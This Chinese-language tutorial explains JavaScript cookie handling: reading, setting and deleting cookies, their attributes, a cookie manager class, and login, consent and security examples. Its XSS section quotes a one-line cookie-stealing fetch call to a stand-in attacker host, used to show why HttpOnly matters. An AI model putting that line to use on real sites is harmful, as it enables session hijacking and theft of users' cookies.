Cookie 操作与管理:浏览器存储的元老级成员
Cookie 的前世今生
Cookie 诞生于 1994 年,是 Web 开发中最古老的客户端存储机制。它最初被设计用来解决 HTTP 无状态协议的问题——服务器无法记住同一个用户的多次请求。Cookie 就像是你去常去的咖啡店时店员递给你的会员卡,每次去的时候出示一下,店员就知道你是谁、喜欢什么口味。
虽然现在有了 localStorage、sessionStorage 和 IndexedDB 等更现代的存储方案,Cookie 依然在某些场景下不可替代——特别是涉及到与服务器交互的身份认证、会话追踪等场景。
Cookie 的基本概念
Cookie 本质上就是一小段文本信息,由服务器发送给浏览器保存,浏览器会在后续请求中自动带上这些信息。
Cookie 的工作流程
1. 用户首次访问网站
客户端 ──────请求──────> 服务器
2. 服务器响应并设置 Cookie
客户端 <──Set-Cookie: id=abc123── 服务器
3. 浏览器保存 Cookie
4. 后续请求自动携带 Cookie
客户端 ──Cookie: id=abc123──> 服务器
5. 服务器识别用户2
3
4
5
6
7
8
9
10
11
12
JavaScript 中的 Cookie 访问
JavaScript 通过 document.cookie 属性来操作 Cookie:
// 读取所有 Cookie
console.log(document.cookie);
// 输出类似: "username=Sarah; theme=dark; language=en"
// 设置一个 Cookie
document.cookie = "visitor=John";
// 注意:这是追加,不是替换
document.cookie = "language=zh-CN";
console.log(document.cookie);
// 输出: "username=Sarah; theme=dark; language=en; visitor=John; language=zh-CN"2
3
4
5
6
7
8
9
10
11
document.cookie 的行为有点特殊:读取时返回所有 Cookie;写入时只设置一个 Cookie,不会覆盖其他 Cookie。
读取 Cookie
由于 document.cookie 返回的是用分号分隔的字符串,读取特定 Cookie 需要解析这个字符串:
// 获取特定的 Cookie 值
function getCookie(name) {
const cookies = document.cookie.split(";");
for (let cookie of cookies) {
const [cookieName, cookieValue] = cookie.trim().split("=");
if (cookieName === name) {
return decodeURIComponent(cookieValue);
}
}
return null;
}
// 使用示例
console.log(getCookie("username")); // 'Sarah'
console.log(getCookie("notExist")); // null
// 更健壮的版本
function getCookieRobust(name) {
const nameEQ = encodeURIComponent(name) + "=";
const cookies = document.cookie.split(";");
for (let cookie of cookies) {
cookie = cookie.trim();
if (cookie.indexOf(nameEQ) === 0) {
return decodeURIComponent(cookie.substring(nameEQ.length));
}
}
return null;
}
// 获取所有 Cookie 为对象
function getAllCookies() {
const cookies = {};
if (!document.cookie) {
return cookies;
}
document.cookie.split(";").forEach((cookie) => {
const [name, value] = cookie.trim().split("=");
if (name) {
cookies[decodeURIComponent(name)] = decodeURIComponent(value || "");
}
});
return cookies;
}
console.log(getAllCookies());
// { username: 'Sarah', theme: 'dark', language: 'en' }2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
设置 Cookie
设置 Cookie 时,可以指定多个属性来控制 Cookie 的行为:
// 最简单的设置
document.cookie = "username=Sarah";
// 设置带有效期的 Cookie
function setCookie(name, value, days) {
let expires = "";
if (days) {
const date = new Date();
date.setTime(date.getTime() + days * 24 * 60 * 60 * 1000);
expires = "; expires=" + date.toUTCString();
}
document.cookie =
encodeURIComponent(name) +
"=" +
encodeURIComponent(value) +
expires +
"; path=/";
}
// 使用示例
setCookie("username", "Michael", 30); // 30天后过期
setCookie("sessionId", "abc123", 1); // 1天后过期
// 设置会话 Cookie(不指定 expires,关闭浏览器后消失)
document.cookie = "tempData=xyz";2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Cookie 属性详解
// 完整的 Cookie 设置函数
function setCookieAdvanced(name, value, options = {}) {
const {
days, // 有效天数
path = "/", // 路径
domain, // 域名
secure, // 仅 HTTPS
sameSite, // SameSite 属性
maxAge, // 最大存活秒数
} = options;
let cookieString = encodeURIComponent(name) + "=" + encodeURIComponent(value);
// 设置过期时间
if (days) {
const date = new Date();
date.setTime(date.getTime() + days * 24 * 60 * 60 * 1000);
cookieString += "; expires=" + date.toUTCString();
}
// 或者使用 max-age(秒)
if (maxAge) {
cookieString += "; max-age=" + maxAge;
}
// 设置路径
cookieString += "; path=" + path;
// 设置域名
if (domain) {
cookieString += "; domain=" + domain;
}
// 设置 Secure 属性
if (secure) {
cookieString += "; secure";
}
// 设置 SameSite 属性
if (sameSite) {
cookieString += "; samesite=" + sameSite;
}
document.cookie = cookieString;
}
// 使用示例
setCookieAdvanced("authToken", "secret123", {
days: 7,
path: "/",
secure: true,
sameSite: "Strict",
});
setCookieAdvanced("preferences", JSON.stringify({ theme: "dark" }), {
days: 365,
path: "/",
});2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
各属性的含义
| 属性 | 作用 | 示例值 |
|---|---|---|
expires | Cookie 过期时间(绝对时间) | Thu, 01 Jan 2025 00:00:00 GMT |
max-age | Cookie 存活秒数(相对时间) | 3600(1 小时) |
path | Cookie 可访问的路径 | /, /admin |
domain | Cookie 可访问的域名 | .example.com |
secure | 仅在 HTTPS 下发送 | 无值,只需存在 |
sameSite | 跨站请求控制 | Strict, Lax, None |
path 属性
path 决定了哪些页面可以访问这个 Cookie:
// 只在 /admin 路径下可用
setCookieAdvanced("adminSession", "xyz", { path: "/admin" });
// 在整个网站可用(默认)
setCookieAdvanced("userPrefs", "abc", { path: "/" });
// 示例:
// 页面 /admin/dashboard 可以访问 path='/' 和 path='/admin' 的 Cookie
// 页面 /products 只能访问 path='/' 的 Cookie2
3
4
5
6
7
8
9
domain 属性
domain 决定了哪些域名可以访问这个 Cookie:
// 仅当前域名(默认)
setCookieAdvanced("token", "abc", {
/* 不指定 domain */
});
// 允许子域名访问(注意开头的点)
setCookieAdvanced("sharedSession", "xyz", { domain: ".example.com" });
// app.example.com 和 www.example.com 都可以访问2
3
4
5
6
7
8
SameSite 属性
SameSite 是一个重要的安全属性,控制 Cookie 在跨站请求中的行为:
// Strict:完全禁止第三方 Cookie
// 最安全,但可能影响用户体验(如从其他网站点击链接过来时不会带 Cookie)
setCookieAdvanced("strictCookie", "value", { sameSite: "Strict" });
// Lax:宽松模式(现代浏览器的默认值)
// 允许导航请求(如点击链接)携带 Cookie,但禁止 POST 等请求
setCookieAdvanced("laxCookie", "value", { sameSite: "Lax" });
// None:允许所有跨站请求(必须同时设置 Secure)
// 用于需要跨站使用的 Cookie,如第三方登录
setCookieAdvanced("crossSiteCookie", "value", {
sameSite: "None",
secure: true,
});2
3
4
5
6
7
8
9
10
11
12
13
14
删除 Cookie
要删除 Cookie,将其过期时间设置为过去的时间:
// 删除 Cookie
function deleteCookie(name, path = "/") {
document.cookie =
encodeURIComponent(name) +
"=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=" +
path;
}
// 使用示例
deleteCookie("username");
deleteCookie("adminSession", "/admin");
// 更完整的删除函数
function deleteCookieComplete(name, options = {}) {
const { path = "/", domain } = options;
let cookieString =
encodeURIComponent(name) +
"=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=" +
path;
if (domain) {
cookieString += "; domain=" + domain;
}
document.cookie = cookieString;
}
// 删除所有 Cookie
function deleteAllCookies() {
const cookies = document.cookie.split(";");
for (let cookie of cookies) {
const name = cookie.split("=")[0].trim();
deleteCookie(name);
}
}2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Cookie 工具类
将所有操作封装成一个实用的工具类:
class CookieManager {
// 获取单个 Cookie
static get(name) {
const nameEQ = encodeURIComponent(name) + "=";
const cookies = document.cookie.split(";");
for (let cookie of cookies) {
cookie = cookie.trim();
if (cookie.indexOf(nameEQ) === 0) {
try {
const value = decodeURIComponent(cookie.substring(nameEQ.length));
// 尝试解析 JSON
return JSON.parse(value);
} catch {
return decodeURIComponent(cookie.substring(nameEQ.length));
}
}
}
return null;
}
// 设置 Cookie
static set(name, value, options = {}) {
const {
days = null,
hours = null,
minutes = null,
path = "/",
domain = null,
secure = false,
sameSite = "Lax",
} = options;
// 序列化值
const serializedValue =
typeof value === "object" ? JSON.stringify(value) : String(value);
let cookieString =
encodeURIComponent(name) + "=" + encodeURIComponent(serializedValue);
// 计算过期时间
if (days || hours || minutes) {
const date = new Date();
let ms = 0;
if (days) ms += days * 24 * 60 * 60 * 1000;
if (hours) ms += hours * 60 * 60 * 1000;
if (minutes) ms += minutes * 60 * 1000;
date.setTime(date.getTime() + ms);
cookieString += "; expires=" + date.toUTCString();
}
cookieString += "; path=" + path;
if (domain) {
cookieString += "; domain=" + domain;
}
if (secure) {
cookieString += "; secure";
}
cookieString += "; samesite=" + sameSite;
document.cookie = cookieString;
}
// 删除 Cookie
static remove(name, options = {}) {
const { path = "/", domain = null } = options;
let cookieString =
encodeURIComponent(name) +
"=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=" +
path;
if (domain) {
cookieString += "; domain=" + domain;
}
document.cookie = cookieString;
}
// 检查 Cookie 是否存在
static has(name) {
return this.get(name) !== null;
}
// 获取所有 Cookie
static getAll() {
const cookies = {};
if (!document.cookie) {
return cookies;
}
document.cookie.split(";").forEach((cookie) => {
const [name, value] = cookie.trim().split("=");
if (name) {
try {
cookies[decodeURIComponent(name)] = JSON.parse(
decodeURIComponent(value || "")
);
} catch {
cookies[decodeURIComponent(name)] = decodeURIComponent(value || "");
}
}
});
return cookies;
}
// 清除所有 Cookie
static clear() {
const cookies = document.cookie.split(";");
for (let cookie of cookies) {
const name = cookie.split("=")[0].trim();
this.remove(name);
}
}
}
// 使用示例
CookieManager.set("username", "Sarah", { days: 30 });
CookieManager.set("preferences", { theme: "dark", lang: "zh" }, { days: 365 });
CookieManager.set("session", "abc123", {
hours: 2,
secure: true,
sameSite: "Strict",
});
console.log(CookieManager.get("username")); // 'Sarah'
console.log(CookieManager.get("preferences")); // { theme: 'dark', lang: 'zh' }
console.log(CookieManager.has("session")); // true
CookieManager.remove("session");
console.log(CookieManager.getAll());2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
Cookie vs Web Storage
| 特性 | Cookie | localStorage | sessionStorage |
|---|---|---|---|
| 容量 | ~4KB | ~5-10MB | ~5-10MB |
| 自动发送到服务器 | ✅ 是 | ❌ 否 | ❌ 否 |
| 生命周期 | 可配置 | 永久 | 会话结束 |
| 访问方式 | 服务器+客户端 | 仅客户端 | 仅客户端 |
| HttpOnly 支持 | ✅ 是 | ❌ 否 | ❌ 否 |
| 跨子域共享 | ✅ 可配置 | ❌ 否 | ❌ 否 |
何时使用 Cookie
// ✅ 适合使用 Cookie 的场景
// 1. 需要发送到服务器的数据
CookieManager.set("authToken", "jwt_token_here", {
days: 7,
secure: true,
sameSite: "Strict",
});
// 2. 需要 HttpOnly 保护的敏感数据(仅服务器可设置)
// 服务器响应: Set-Cookie: sessionId=abc; HttpOnly; Secure
// 3. 跨子域共享数据
CookieManager.set("sharedUser", "userId", {
days: 30,
domain: ".example.com",
});
// 4. 追踪用户(第一方)
CookieManager.set("visitorId", generateUUID(), { days: 365 });2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// ❌ 不适合使用 Cookie 的场景
// 1. 大量数据存储 —— 使用 localStorage 或 IndexedDB
// Cookie 限制约 4KB,且每次请求都会发送
// 2. 纯客户端数据 —— 使用 Web Storage
// 不需要发送到服务器的数据,用 localStorage/sessionStorage 更高效
// 3. 频繁读写的数据 —— Cookie 解析较慢
// 性能敏感场景使用 Web Storage2
3
4
5
6
7
8
9
10
实际应用场景
用户登录状态
class AuthCookie {
static TOKEN_NAME = "auth_token";
static USER_NAME = "user_info";
static login(token, user, rememberMe = false) {
const options = {
secure: true,
sameSite: "Strict",
path: "/",
};
if (rememberMe) {
options.days = 30;
}
// 不设置 days 则为会话 Cookie
CookieManager.set(this.TOKEN_NAME, token, options);
CookieManager.set(this.USER_NAME, user, options);
}
static logout() {
CookieManager.remove(this.TOKEN_NAME);
CookieManager.remove(this.USER_NAME);
}
static isLoggedIn() {
return CookieManager.has(this.TOKEN_NAME);
}
static getToken() {
return CookieManager.get(this.TOKEN_NAME);
}
static getUser() {
return CookieManager.get(this.USER_NAME);
}
}
// 使用示例
// 登录(记住我)
AuthCookie.login("jwt_xxxxx", { id: 1, name: "Sarah" }, true);
// 检查登录状态
if (AuthCookie.isLoggedIn()) {
const user = AuthCookie.getUser();
console.log(`欢迎回来, ${user.name}!`);
}
// 登出
AuthCookie.logout();2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
Cookie 同意管理
现代网站通常需要获得用户同意才能设置非必要的 Cookie:
class CookieConsent {
static CONSENT_KEY = "cookie_consent";
static getConsent() {
return CookieManager.get(this.CONSENT_KEY);
}
static setConsent(preferences) {
CookieManager.set(
this.CONSENT_KEY,
{
...preferences,
timestamp: Date.now(),
version: "1.0",
},
{ days: 365 }
);
this.applyConsent(preferences);
}
static applyConsent(preferences) {
if (preferences.analytics) {
this.enableAnalytics();
}
if (preferences.marketing) {
this.enableMarketing();
}
if (preferences.personalization) {
this.enablePersonalization();
}
}
static enableAnalytics() {
console.log("Analytics cookies enabled");
// 初始化 Google Analytics 等
}
static enableMarketing() {
console.log("Marketing cookies enabled");
// 初始化广告追踪等
}
static enablePersonalization() {
console.log("Personalization cookies enabled");
// 启用个性化功能
}
static showConsentBanner() {
const consent = this.getConsent();
if (!consent) {
// 显示同意横幅
return true;
}
// 已有同意记录,应用偏好
this.applyConsent(consent);
return false;
}
static revokeConsent() {
CookieManager.remove(this.CONSENT_KEY);
// 清除所有非必要 Cookie
console.log("Cookie consent revoked");
}
}
// 使用示例
if (CookieConsent.showConsentBanner()) {
// 显示 Cookie 同意对话框
// 用户点击接受后:
CookieConsent.setConsent({
essential: true, // 必要 Cookie,总是开启
analytics: true, // 分析 Cookie
marketing: false, // 营销 Cookie
personalization: true, // 个性化 Cookie
});
}2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
语言和地区偏好
class LocalePreference {
static COOKIE_NAME = "user_locale";
static set(locale, options = {}) {
CookieManager.set(this.COOKIE_NAME, locale, {
days: 365,
path: "/",
...options,
});
}
static get() {
return CookieManager.get(this.COOKIE_NAME);
}
static detect() {
// 优先使用用户设置的偏好
const saved = this.get();
if (saved) return saved;
// 检查浏览器语言
const browserLang = navigator.language || navigator.userLanguage;
// 映射到支持的语言
const supportedLocales = ["en-US", "zh-CN", "ja-JP", "ko-KR"];
const locale =
supportedLocales.find((l) => l.startsWith(browserLang.split("-")[0])) ||
"en-US";
return locale;
}
}
// 使用示例
const locale = LocalePreference.detect();
console.log(`当前语言: ${locale}`);
// 用户切换语言
LocalePreference.set("zh-CN");2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
安全最佳实践
防止 XSS 攻击
// ⚠️ Cookie 可能被 XSS 攻击窃取
// 攻击者注入的脚本可以执行:
// fetch('https://evil.com/steal?cookie=' + document.cookie);
// ✅ 敏感 Cookie 应该使用 HttpOnly(只能由服务器设置)
// 服务器响应: Set-Cookie: sessionId=abc; HttpOnly; Secure
// ✅ 对于客户端可访问的 Cookie,注意验证和清理
function sanitizeCookieValue(value) {
// 移除可能的注入字符
return String(value).replace(/[<>"'&;]/g, "");
}2
3
4
5
6
7
8
9
10
11
12
防止 CSRF 攻击
// ✅ 使用 SameSite 属性
CookieManager.set("sessionId", "abc", {
secure: true,
sameSite: "Strict", // 或 'Lax'
});
// ✅ 实现 CSRF Token
function setCsrfToken() {
const token = crypto.randomUUID();
CookieManager.set("csrf_token", token, {
secure: true,
sameSite: "Strict",
});
return token;
}
// 在表单中包含 CSRF Token
function addCsrfToForm(form) {
const token = CookieManager.get("csrf_token");
const input = document.createElement("input");
input.type = "hidden";
input.name = "_csrf";
input.value = token;
form.appendChild(input);
}2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Cookie 大小监控
function getCookieSize() {
const cookieString = document.cookie;
const bytes = new Blob([cookieString]).size;
return {
bytes,
kb: (bytes / 1024).toFixed(2),
percentage: ((bytes / 4096) * 100).toFixed(1) + "%",
};
}
function checkCookieUsage() {
const usage = getCookieSize();
if (usage.bytes > 3500) {
// 接近 4KB 限制
console.warn(`Cookie 使用量过高: ${usage.kb}KB (${usage.percentage})`);
return false;
}
console.log(`Cookie 使用量: ${usage.kb}KB (${usage.percentage})`);
return true;
}
// 定期检查
setInterval(checkCookieUsage, 60000);2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
常见问题与解决方案
Cookie 设置不生效
// 问题1:路径不匹配
// 在 /admin 页面设置的 Cookie 默认只在 /admin 下可用
document.cookie = "test=123"; // path 默认为当前路径
// 解决:明确指定 path='/'
document.cookie = "test=123; path=/";
// 问题2:域名不匹配
// 在 sub.example.com 设置的 Cookie 默认不能被 example.com 访问
// 解决:设置 domain=.example.com
// 问题3:Secure 属性在 HTTP 下无效
// 解决:在 HTTPS 环境下测试 Secure Cookie
// 问题4:SameSite=None 需要 Secure
document.cookie = "test=123; SameSite=None; Secure"; // 必须同时设置2
3
4
5
6
7
8
9
10
11
12
13
14
15
调试 Cookie
// 查看所有 Cookie 详情
function debugCookies() {
const cookies = CookieManager.getAll();
console.table(cookies);
const usage = getCookieSize();
console.log(`总大小: ${usage.kb}KB`);
}
// 在浏览器控制台中
// Application > Storage > Cookies 可以查看完整信息2
3
4
5
6
7
8
9
10
11
总结
Cookie 作为 Web 存储的老牌成员,在身份认证和会话管理方面仍然发挥着重要作用。虽然它有容量小、操作 API 繁琐等缺点,但其能够自动发送到服务器、支持 HttpOnly 安全属性等特性,使其在某些场景下仍然是最佳选择。
关键要点:
- Cookie 会自动随请求发送到服务器,适合身份认证场景
- 使用
Secure和HttpOnly属性增强安全性 SameSite属性可有效防止 CSRF 攻击- 容量限制约 4KB,大数据存储应使用 Web Storage
- 封装工具类简化操作,提高代码可维护性
合理使用 Cookie,配合现代 Web Storage API,可以构建安全高效的客户端存储方案。